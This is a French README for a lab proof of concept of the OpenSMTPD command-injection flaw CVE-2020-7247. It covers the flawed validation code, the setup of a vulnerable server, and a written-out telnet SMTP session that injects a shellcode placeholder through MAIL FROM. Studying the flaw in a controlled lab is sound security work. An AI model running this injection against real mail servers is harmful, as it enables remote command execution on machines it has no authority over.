
Preuve de concept pour CVE-2020-7247 à des fins éducatives.
Ce dépôt doit servir de base pour installer et exploiter CVE-2020-7247 dans un environnement contrôlé et privé. L'ensemble du code et de la configuration publiés est uniquement destiné à tester cette vulnérabilité, et non à en abuser contre des systèmes qui ne vous appartiennent pas ou que vous n'avez pas la permission d'exploiter. Le propriétaire de ce dépôt ne saurait être tenu responsable de l'utilisation de ces outils par des tiers.
Le problème principal du code est que la validation des e-mails ne fonctionne pas. Elle permet à des caractères potentiellement dangereux d'être transmis dans les champs MAIL FROM et RCPT TO.
Si la partie locale de l'adresse e-mail est invalide, elle est traitée comme valide car le code y ajoute la partie domaine puis l'interprète comme valide. Cela permet à l'attaquant d'exécuter du code arbitraire.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Le code devrait ressembler à ce qui suit afin d'être sûr :
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Opensmtpd exécute ensuite ce que l'on appelle une commande MDA. Cette commande est utilisée pour livrer le courrier. Elle ressemble à ceci :
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
Vous voyez peut-être déjà le problème ici. mbox.from est l'adresse de l'expéditeur, qui est entièrement contrôlée par l'attaquant.
L'attaquant est toutefois limité à l'utilisation, dans le shellcode, de caractères qui ne figurent pas dans la liste suivante : !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
Dévoilé en détail ici
Chacun est libre de choisir la distribution sur laquelle faire tourner le serveur. Je l'ai testé sur Ubuntu 18.04 LTS.
Exécutez chmod +x setup.sh afin de rendre le script d'installation exécutable. Vous pouvez l'utiliser avec un utilisateur normal car je n'ai inclus les droits sudo dans le script que là où cela est nécessaire. (Bien sûr, votre utilisateur doit disposer des droits sudo)
Le script d'installation installera toutes les dépendances requises pour smtpd lui-même et copiera la configuration vers les emplacements correspondants.
Opensmtpd 6.6.1 sera installé.
Si vous devez exécuter openstmpd manuellement ou si le script contient une erreur, exécutez ce qui suit :
cd /usr/local/sbin
sudo smtpd
OR
sudo smtpd -dv for debugging output
La configuration dans ce dépôt n'est destinée qu'à des tests locaux. Elle n'inclut pas de domaines externes / de configuration avancée.
aliases et smtpd.conf sont les deux fichiers de configuration nécessaires à la mise en place de ce serveur. Vous êtes libre de les modifier comme vous le souhaitez. Gardez à l'esprit que la configuration était destinée à mon serveur de test. Mon nom de serveur était ase (directive @ase dans smtpd.conf) et mon nom d'utilisateur était ase (configuration utilisateur dans aliases).
Vous devrez remplacer <YOUR IP> dans smtpd.conf par l'IP de votre serveur. Sinon, smtpd ne démarrera pas.
Si vous tombez sur des adresses IP et des ports dans cet environnement, voici quelques informations clés sur l'environnement que j'ai utilisé afin que vous puissiez les modifier en conséquence :
asease192.168.1.4025192.168.1.311337L'exploit fourni utilise Python 3.x. Il utilise la dépendance pwn. Pour utiliser cet exploit, vous devez installer pwntools à l'aide de pip3 install pwntools.
En principe, l'exploit exploite automatiquement la vulnérabilité sans nécessiter d'interaction de l'utilisateur. Cependant, l'exploit peut être réalisé manuellement sans le script Python.
Comme mentionné précédemment, l'exploit peut être exécuté sans le script Python fourni. Vous devrez suivre manuellement le processus SMTP. Cela peut être fait en utilisant netcat ou telnet.
Voici un exemple de la manière de procéder manuellement :
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
Vous pouvez également utiliser le script fourni. Les paramètres suivants sont possibles :
--targetHost spécifie la cible et est requis.--targetPort spécifie le port cible et est requis.--customCommand spécifie la commande à injecter.shellcode.py sert d'exemple de ce à quoi un code de shell distant peut ressembler. \
